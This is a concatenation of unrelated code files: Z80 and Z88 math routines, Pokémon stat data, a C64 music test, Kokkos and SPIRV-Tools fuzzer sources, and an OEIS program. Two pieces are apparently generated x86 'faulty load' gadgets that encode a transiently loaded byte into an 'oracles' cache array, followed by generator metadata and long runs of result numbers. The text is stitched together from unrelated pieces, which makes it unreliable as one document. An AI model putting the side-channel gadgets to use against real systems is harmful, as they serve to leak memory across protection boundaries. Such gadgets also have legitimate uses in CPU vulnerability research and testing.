l0_fast_divu_16_16x8:
; try to reduce the division
inc h
dec h
jp z, l0_fast_divu_8_8x8
xor a
ld d,a
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
IF __CLIB_OPT_IMATH_FAST & $01
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;; ENABLE LOOP UNROLLING ;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; unroll divide eight times
ld b,2
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
IF __CLIB_OPT_IMATH_FAST & $02
; eliminate leading zeroes
loop_00:
add hl,hl
jr c, loop_10
add hl,hl
jr c, loop_20
add hl,hl
jr c, loop_30
add hl,hl
jr c, loop_40
add hl,hl
jr c, loop_50
add hl,hl
jr c, loop_60
add hl,hl
jr c, loop_70
add hl,hl
rla
cp e
jr c, loop_80
sub e
inc l
loop_80:
dec b
ENDIF
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; general divide loop
loop_0:
add hl,hl
loop_10:
rla
jr c, loop_101
cp e
jr c, loop_1
loop_101:
sub e
inc l
loop_1:
add hl,hl
loop_20:
rla
jr c, loop_201
cp e
jr c, loop_2
loop_201:
sub e
inc l
loop_2:
add hl,hl
loop_30:
rla
jr c, loop_301
cp e
jr c, loop_3
loop_301:
sub e
inc l
loop_3:
add hl,hl
loop_40:
rla
jr c, loop_401
cp e
jr c, loop_4
loop_401:
sub e
inc l
loop_4:
add hl,hl
loop_50:
rla
jr c, loop_501
cp e
jr c, loop_5
loop_501:
sub e
inc l
loop_5:
add hl,hl
loop_60:
rla
jr c, loop_601
cp e
jr c, loop_6
loop_601:
sub e
inc l
loop_6:
add hl,hl
loop_70:
rla
jr c, loop_701
cp e
jr c, loop_7
loop_701:
sub e
inc l
loop_7:
add hl,hl
rla
jr c, loop_801
cp e
jr c, loop_8
loop_801:
sub e
inc l
loop_8:
djnz loop_0
exit_loop:
; a = remainder
; hl = quotient
ld e,a
xor a
ret
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
ELSE
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;; DISABLE LOOP UNROLLING ;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
ld b,16
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
IF __CLIB_OPT_IMATH_FAST & $02
; eliminate leading zeroes
loop_00:
add hl,hl
jr c, loop_01
djnz loop_00
; will never get here
ENDIF
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; general divide loop
loop_11:
add hl,hl
loop_01:
rla
jr c, loop_02
cp e
jr c, loop_03
loop_02:
sub e
inc l
loop_03:
djnz loop_11
; a = remainder
; hl = quotient
ld e,a
xor a
ret
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
ENDIF
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
divide_by_zero:
ex de,hl
jp error_divide_by_zero_mc
|
;
;
; Z88 Maths Routines
;
; C Interface for Small C+ Compiler
;
; 7/12/98 djm
;double asin(double)
;Number in FA..
SECTION code_fp
INCLUDE "target/z88/def/fpp.def"
PUBLIC atan
EXTERN fsetup
EXTERN stkequ2
.atan
call fsetup
fpp(FP_ATN)
jp stkequ2
|
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r11
push %r14
push %rbp
push %rbx
push %rcx
push %rdi
push %rsi
lea addresses_WC_ht+0x12605, %rsi
lea addresses_normal_ht+0xe418, %rdi
clflush (%rsi)
nop
nop
nop
xor %r11, %r11
mov $85, %rcx
rep movsq
nop
nop
nop
and $32253, %rbx
lea addresses_normal_ht+0x1e260, %rsi
nop
nop
nop
nop
nop
add %rbx, %rbx
movw $0x6162, (%rsi)
nop
xor %rdi, %rdi
lea addresses_normal_ht+0x6be0, %rdi
nop
nop
nop
add %r11, %r11
movl $0x61626364, (%rdi)
nop
nop
nop
nop
sub $33006, %rsi
lea addresses_D_ht+0x1b5e4, %r14
cmp $14485, %rsi
mov (%r14), %rbx
nop
and %rbx, %rbx
lea addresses_WT_ht+0x175e0, %rsi
nop
nop
nop
nop
nop
dec %rbp
mov (%rsi), %r14
nop
nop
nop
nop
nop
cmp %rcx, %rcx
lea addresses_WC_ht+0x1ebe0, %rbx
add %rcx, %rcx
movups (%rbx), %xmm2
vpextrq $0, %xmm2, %rsi
nop
nop
nop
cmp %rbx, %rbx
lea addresses_D_ht+0xea92, %rsi
nop
xor $11087, %rcx
vmovups (%rsi), %ymm7
vextracti128 $0, %ymm7, %xmm7
vpextrq $0, %xmm7, %rbx
nop
nop
nop
nop
and $40451, %rsi
lea addresses_normal_ht+0xd57c, %rsi
lea addresses_A_ht+0x1be0, %rdi
clflush (%rsi)
dec %rbx
mov $29, %rcx
rep movsb
add $49068, %rdi
lea addresses_normal_ht+0x14158, %rsi
lea addresses_WT_ht+0x1a476, %rdi
nop
and $31330, %r10
mov $38, %rcx
rep movsb
nop
nop
nop
dec %r10
lea addresses_WC_ht+0x1d3e0, %rsi
lea addresses_UC_ht+0x167e0, %rdi
add %r10, %r10
mov $40, %rcx
rep movsw
nop
nop
add %rbx, %rbx
lea addresses_A_ht+0x43e0, %rbp
nop
nop
nop
add %r11, %r11
movw $0x6162, (%rbp)
nop
nop
add %rsi, %rsi
lea addresses_WC_ht+0xd63, %rsi
cmp %rbp, %rbp
vmovups (%rsi), %ymm0
vextracti128 $1, %ymm0, %xmm0
vpextrq $0, %xmm0, %rdi
nop
nop
and $25858, %r11
lea addresses_WC_ht+0xf930, %rsi
lea addresses_A_ht+0x20e0, %rdi
nop
cmp $44600, %r14
mov $17, %rcx
rep movsl
nop
nop
nop
cmp $13344, %rdi
lea addresses_WC_ht+0xed30, %rsi
lea addresses_UC_ht+0x4fe0, %rdi
nop
nop
cmp %rbp, %rbp
mov $69, %rcx
rep movsb
nop
nop
sub %rbx, %rbx
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %rbp
pop %r14
pop %r11
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r12
push %r15
push %r8
push %rbp
push %rbx
push %rdi
// Store
lea addresses_RW+0x6be0, %rbx
clflush (%rbx)
nop
nop
nop
nop
cmp $11176, %r15
movb $0x51, (%rbx)
nop
nop
nop
and %rbx, %rbx
// Faulty Load
lea addresses_D+0x123e0, %rbx
nop
nop
nop
nop
nop
inc %r8
movups (%rbx), %xmm4
vpextrq $1, %xmm4, %r15
lea oracles, %r8
and $0xff, %r15
shlq $12, %r15
mov (%r8,%r15,1), %r15
pop %rdi
pop %rbx
pop %rbp
pop %r8
pop %r15
pop %r12
ret
/*
<gen_faulty_load>
[REF]
{'src': {'congruent': 0, 'AVXalign': False, 'same': True, 'size': 32, 'NT': False, 'type': 'addresses_D'}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'congruent': 10, 'AVXalign': False, 'same': False, 'size': 1, 'NT': False, 'type': 'addresses_RW'}}
[Faulty Load]
{'src': {'congruent': 0, 'AVXalign': False, 'same': True, 'size': 16, 'NT': False, 'type': 'addresses_D'}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'congruent': 0, 'same': False, 'type': 'addresses_WC_ht'}, 'OP': 'REPM', 'dst': {'congruent': 3, 'same': False, 'type': 'addresses_normal_ht'}}
{'OP': 'STOR', 'dst': {'congruent': 6, 'AVXalign': False, 'same': False, 'size': 2, 'NT': False, 'type': 'addresses_normal_ht'}}
{'OP': 'STOR', 'dst': {'congruent': 10, 'AVXalign': False, 'same': False, 'size': 4, 'NT': False, 'type': 'addresses_normal_ht'}}
{'src': {'congruent': 2, 'AVXalign': False, 'same': False, 'size': 8, 'NT': False, 'type': 'addresses_D_ht'}, 'OP': 'LOAD'}
{'src': {'congruent': 9, 'AVXalign': False, 'same': False, 'size': 8, 'NT': False, 'type': 'addresses_WT_ht'}, 'OP': 'LOAD'}
{'src': {'congruent': 6, 'AVXalign': False, 'same': False, 'size': 16, 'NT': False, 'type': 'addresses_WC_ht'}, 'OP': 'LOAD'}
{'src': {'congruent': 0, 'AVXalign': False, 'same': False, 'size': 32, 'NT': False, 'type': 'addresses_D_ht'}, 'OP': 'LOAD'}
{'src': {'congruent': 0, 'same': False, 'type': 'addresses_normal_ht'}, 'OP': 'REPM', 'dst': {'congruent': 10, 'same': False, 'type': 'addresses_A_ht'}}
{'src': {'congruent': 3, 'same': False, 'type': 'addresses_normal_ht'}, 'OP': 'REPM', 'dst': {'congruent': 0, 'same': True, 'type': 'addresses_WT_ht'}}
{'src': {'congruent': 11, 'same': False, 'type': 'addresses_WC_ht'}, 'OP': 'REPM', 'dst': {'congruent': 9, 'same': False, 'type': 'addresses_UC_ht'}}
{'OP': 'STOR', 'dst': {'congruent': 11, 'AVXalign': True, 'same': True, 'size': 2, 'NT': False, 'type': 'addresses_A_ht'}}
{'src': {'congruent': 0, 'AVXalign': False, 'same': False, 'size': 32, 'NT': False, 'type': 'addresses_WC_ht'}, 'OP': 'LOAD'}
{'src': {'congruent': 0, 'same': False, 'type': 'addresses_WC_ht'}, 'OP': 'REPM', 'dst': {'congruent': 8, 'same': False, 'type': 'addresses_A_ht'}}
{'src': {'congruent': 3, 'same': False, 'type': 'addresses_WC_ht'}, 'OP': 'REPM', 'dst': {'congruent': 9, 'same': False, 'type': 'addresses_UC_ht'}}
{'36': 21829}
36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36
*/
|
db DEX_TYRANITAR ; pokedex id
db 100 ; base hp
db 134 ; base attack
db 110 ; base defense
db 61 ; base speed
db 95 ; base special
db ROCK ; species type 1
db DARK ; species type 2
db 10 ; catch rate
db 177 ; base exp yield
INCBIN "pic/ymon/tyranitar.pic",0,1 ; 66, sprite dimensions
dw TyranitarPicFront
dw TyranitarPicBack
; attacks known at lvl 0
db TACKLE
db DEFENSE_CURL
db BITE
db 0
db 5 ; growth rate
; learnset
tmlearn 1,6,8
tmlearn 9,10
tmlearn 17,18,19,20,24
tmlearn 25,26,27,28,31,32
tmlearn 34,35,36,38
tmlearn 44,45,47,48
tmlearn 50,54
db BANK(TyranitarPicFront)
|
.import source "music.inc"
* = $801
// 1 SYS 2064
.byte $0b, $08, $01, $00, $9e, $32, $30, $36, $34, $00, $00, $00, $00, $00, $00
RunTest:
lda #$f // set volume
sta $d418
frame:
lda #100
wait:
cmp $d012
bne wait
lda #4
sta $d020
jsr UpdateMusicPlayer
lda #14
sta $d020
jmp frame
// just include music code to keep it simple
.import source "music.asm"
// and the music included right after
.import source "example.asm" |
/*
//@HEADER
// ************************************************************************
//
// Kokkos v. 3.0
// Copyright (2020) National Technology & Engineering
// Solutions of Sandia, LLC (NTESS).
//
// Under the terms of Contract DE-NA0003525 with NTESS,
// the U.S. Government retains certain rights in this software.
//
// Redistribution and use in source and binary forms, with or without
// modification, are permitted provided that the following conditions are
// met:
//
// 1. Redistributions of source code must retain the above copyright
// notice, this list of conditions and the following disclaimer.
//
// 2. Redistributions in binary form must reproduce the above copyright
// notice, this list of conditions and the following disclaimer in the
// documentation and/or other materials provided with the distribution.
//
// 3. Neither the name of the Corporation nor the names of the
// contributors may be used to endorse or promote products derived from
// this software without specific prior written permission.
//
// THIS SOFTWARE IS PROVIDED BY NTESS "AS IS" AND ANY
// EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
// IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
// PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL NTESS OR THE
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
// EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
// PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
// PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
// LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
// NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
// SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
//
// Questions? Contact Christian R. Trott (crtrott@sandia.gov)
//
// ************************************************************************
//@HEADER
*/
#include <openmptarget/TestOpenMPTarget_Category.hpp>
#include <TestViewAPI_e.hpp>
|
// Copyright (c) 2020 Google LLC
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
#include "source/fuzz/fuzzer_pass_replace_opphi_ids_from_dead_predecessors.h"
#include "source/fuzz/transformation_replace_opphi_id_from_dead_predecessor.h"
namespace spvtools {
namespace fuzz {
FuzzerPassReplaceOpPhiIdsFromDeadPredecessors::
FuzzerPassReplaceOpPhiIdsFromDeadPredecessors(
opt::IRContext* ir_context,
TransformationContext* transformation_context,
FuzzerContext* fuzzer_context,
protobufs::TransformationSequence* transformations)
: FuzzerPass(ir_context, transformation_context, fuzzer_context,
transformations) {}
FuzzerPassReplaceOpPhiIdsFromDeadPredecessors::
~FuzzerPassReplaceOpPhiIdsFromDeadPredecessors() = default;
void FuzzerPassReplaceOpPhiIdsFromDeadPredecessors::Apply() {
// Keep a vector of the transformations to apply.
std::vector<TransformationReplaceOpPhiIdFromDeadPredecessor> transformations;
// Loop through the blocks in the module.
for (auto& function : *GetIRContext()->module()) {
for (auto& block : function) {
// Only consider dead blocks.
if (!GetTransformationContext()->GetFactManager()->BlockIsDead(
block.id())) {
continue;
}
// Find all the uses of the label id of the block inside OpPhi
// instructions.
GetIRContext()->get_def_use_mgr()->ForEachUse(
block.id(), [this, &function, &block, &transformations](
opt::Instruction* instruction, uint32_t) {
// Only consider OpPhi instructions.
if (instruction->opcode() != SpvOpPhi) {
return;
}
// Randomly decide whether to consider this use.
if (!GetFuzzerContext()->ChoosePercentage(
GetFuzzerContext()
->GetChanceOfReplacingOpPhiIdFromDeadPredecessor())) {
return;
}
// Get the current id corresponding to the predecessor.
uint32_t current_id = 0;
for (uint32_t i = 1; i < instruction->NumInOperands(); i += 2) {
if (instruction->GetSingleWordInOperand(i) == block.id()) {
// The corresponding id is at the index of the block - 1.
current_id = instruction->GetSingleWordInOperand(i - 1);
break;
}
}
assert(current_id != 0 &&
"The predecessor - and corresponding id - should always be "
"found.");
uint32_t type_id = instruction->type_id();
// Find all the suitable instructions to replace the id.
const auto& candidates = FindAvailableInstructions(
&function, &block, block.end(),
[type_id, current_id](opt::IRContext* /* unused */,
opt::Instruction* candidate) -> bool {
// Only consider instructions with a result id different from
// the currently-used one, and with the right type.
return candidate->HasResultId() &&
candidate->type_id() == type_id &&
candidate->result_id() != current_id;
});
// If there is no possible replacement, we cannot apply any
// transformation.
if (candidates.empty()) {
return;
}
// Choose one of the candidates.
uint32_t replacement_id =
candidates[GetFuzzerContext()->RandomIndex(candidates)]
->result_id();
// Add a new transformation to the list of transformations to apply.
transformations.emplace_back(
TransformationReplaceOpPhiIdFromDeadPredecessor(
instruction->result_id(), block.id(), replacement_id));
});
}
}
// Apply all the transformations.
for (const auto& transformation : transformations) {
ApplyTransformation(transformation);
}
}
} // namespace fuzz
} // namespace spvtools
|
; A036406: a(n) = ceiling(n^2/8).
; 0,1,1,2,2,4,5,7,8,11,13,16,18,22,25,29,32,37,41,46,50,56,61,67,72,79,85,92,98,106,113,121,128,137,145,154,162,172,181,191,200,211,221,232,242,254,265,277,288,301,313,326,338,352,365,379,392,407,421,436,450,466,481,497,512,529,545,562,578,596,613,631,648,667,685,704,722,742,761,781,800,821,841,862,882,904,925,947,968,991,1013,1036,1058,1082,1105,1129,1152,1177,1201,1226,1250,1276,1301,1327,1352,1379,1405,1432,1458,1486,1513,1541,1568,1597,1625,1654,1682,1712,1741,1771,1800,1831,1861,1892,1922,1954,1985,2017,2048,2081,2113,2146,2178,2212,2245,2279,2312,2347,2381,2416,2450,2486,2521,2557,2592,2629,2665,2702,2738,2776,2813,2851,2888,2927,2965,3004,3042,3082,3121,3161,3200,3241,3281,3322,3362,3404,3445,3487,3528,3571,3613,3656,3698,3742,3785,3829,3872,3917,3961,4006,4050,4096,4141,4187,4232,4279,4325,4372,4418,4466,4513,4561,4608,4657,4705,4754,4802,4852,4901,4951,5000,5051,5101,5152,5202,5254,5305,5357,5408,5461,5513,5566,5618,5672,5725,5779,5832,5887,5941,5996,6050,6106,6161,6217,6272,6329,6385,6442,6498,6556,6613,6671,6728,6787,6845,6904,6962,7022,7081,7141,7200,7261,7321,7382,7442,7504,7565,7627,7688,7751
mov $1,$0
pow $1,2
add $1,7
div $1,8
|
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r11
push %r12
push %r13
push %r15
push %rax
push %rbx
push %rcx
push %rdi
push %rsi
lea addresses_D_ht+0x16582, %rax
nop
sub %rbx, %rbx
mov $0x6162636465666768, %r13
movq %r13, %xmm6
vmovups %ymm6, (%rax)
nop
sub %r12, %r12
lea addresses_WT_ht+0xd702, %r15
add $105, %r10
mov $0x6162636465666768, %r11
movq %r11, (%r15)
nop
nop
nop
nop
nop
cmp %rbx, %rbx
lea addresses_normal_ht+0xb802, %rsi
lea addresses_A_ht+0x11682, %rdi
nop
nop
nop
nop
nop
and %r11, %r11
mov $24, %rcx
rep movsq
nop
nop
nop
nop
nop
sub $25461, %r12
lea addresses_WT_ht+0x4402, %r12
nop
inc %rax
movl $0x61626364, (%r12)
xor $20155, %r11
lea addresses_D_ht+0x3522, %r15
nop
nop
nop
nop
nop
add %r12, %r12
mov $0x6162636465666768, %r13
movq %r13, %xmm0
vmovups %ymm0, (%r15)
nop
nop
nop
nop
cmp %r11, %r11
lea addresses_D_ht+0xc802, %r15
nop
nop
nop
nop
add %r11, %r11
mov $0x6162636465666768, %rsi
movq %rsi, %xmm3
and $0xffffffffffffffc0, %r15
movaps %xmm3, (%r15)
nop
nop
nop
and $53951, %rbx
lea addresses_D_ht+0xc3c2, %r15
nop
nop
add $53472, %rsi
mov (%r15), %eax
nop
nop
nop
and $34262, %r10
lea addresses_A_ht+0x9402, %rsi
nop
nop
nop
nop
sub %r15, %r15
mov (%rsi), %r12w
nop
nop
nop
nop
nop
cmp $58926, %r11
lea addresses_A_ht+0x1c802, %rbx
nop
add %rcx, %rcx
mov $0x6162636465666768, %r15
movq %r15, %xmm4
vmovups %ymm4, (%rbx)
nop
and $29338, %r11
lea addresses_WC_ht+0x17802, %rbx
nop
nop
nop
inc %r13
mov $0x6162636465666768, %rdi
movq %rdi, %xmm3
vmovups %ymm3, (%rbx)
cmp $13994, %rdi
lea addresses_A_ht+0xa802, %rsi
nop
nop
nop
nop
sub $18648, %r12
mov (%rsi), %rax
nop
nop
nop
cmp %r11, %r11
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %rax
pop %r15
pop %r13
pop %r12
pop %r11
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r11
push %r12
push %r13
push %rdi
push %rdx
push %rsi
// Load
lea addresses_UC+0x5a9, %r11
nop
nop
nop
nop
nop
dec %rsi
mov (%r11), %rdi
nop
nop
and %rdi, %rdi
// Store
lea addresses_WC+0x1b802, %r12
inc %rdx
mov $0x5152535455565758, %r11
movq %r11, (%r12)
nop
nop
nop
nop
nop
xor %r12, %r12
// Faulty Load
lea addresses_WC+0x1b802, %r13
dec %rsi
mov (%r13), %r11d
lea oracles, %r10
and $0xff, %r11
shlq $12, %r11
mov (%r10,%r11,1), %r11
pop %rsi
pop %rdx
pop %rdi
pop %r13
pop %r12
pop %r11
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'size': 32, 'NT': False, 'type': 'addresses_WC', 'same': False, 'AVXalign': False, 'congruent': 0}}
{'OP': 'LOAD', 'src': {'size': 8, 'NT': True, 'type': 'addresses_UC', 'same': False, 'AVXalign': False, 'congruent': 0}}
{'OP': 'STOR', 'dst': {'size': 8, 'NT': True, 'type': 'addresses_WC', 'same': True, 'AVXalign': False, 'congruent': 0}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'size': 4, 'NT': False, 'type': 'addresses_WC', 'same': True, 'AVXalign': False, 'congruent': 0}}
<gen_prepare_buffer>
{'OP': 'STOR', 'dst': {'size': 32, 'NT': False, 'type': 'addresses_D_ht', 'same': False, 'AVXalign': False, 'congruent': 7}}
{'OP': 'STOR', 'dst': {'size': 8, 'NT': False, 'type': 'addresses_WT_ht', 'same': False, 'AVXalign': False, 'congruent': 8}}
{'OP': 'REPM', 'src': {'same': True, 'type': 'addresses_normal_ht', 'congruent': 11}, 'dst': {'same': False, 'type': 'addresses_A_ht', 'congruent': 7}}
{'OP': 'STOR', 'dst': {'size': 4, 'NT': False, 'type': 'addresses_WT_ht', 'same': False, 'AVXalign': False, 'congruent': 8}}
{'OP': 'STOR', 'dst': {'size': 32, 'NT': False, 'type': 'addresses_D_ht', 'same': True, 'AVXalign': False, 'congruent': 5}}
{'OP': 'STOR', 'dst': {'size': 16, 'NT': False, 'type': 'addresses_D_ht', 'same': False, 'AVXalign': True, 'congruent': 11}}
{'OP': 'LOAD', 'src': {'size': 4, 'NT': False, 'type': 'addresses_D_ht', 'same': False, 'AVXalign': False, 'congruent': 5}}
{'OP': 'LOAD', 'src': {'size': 2, 'NT': False, 'type': 'addresses_A_ht', 'same': False, 'AVXalign': False, 'congruent': 10}}
{'OP': 'STOR', 'dst': {'size': 32, 'NT': False, 'type': 'addresses_A_ht', 'same': False, 'AVXalign': False, 'congruent': 9}}
{'OP': 'STOR', 'dst': {'size': 32, 'NT': False, 'type': 'addresses_WC_ht', 'same': False, 'AVXalign': False, 'congruent': 11}}
{'OP': 'LOAD', 'src': {'size': 8, 'NT': False, 'type': 'addresses_A_ht', 'same': False, 'AVXalign': False, 'congruent': 10}}
{'58': 21829}
58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 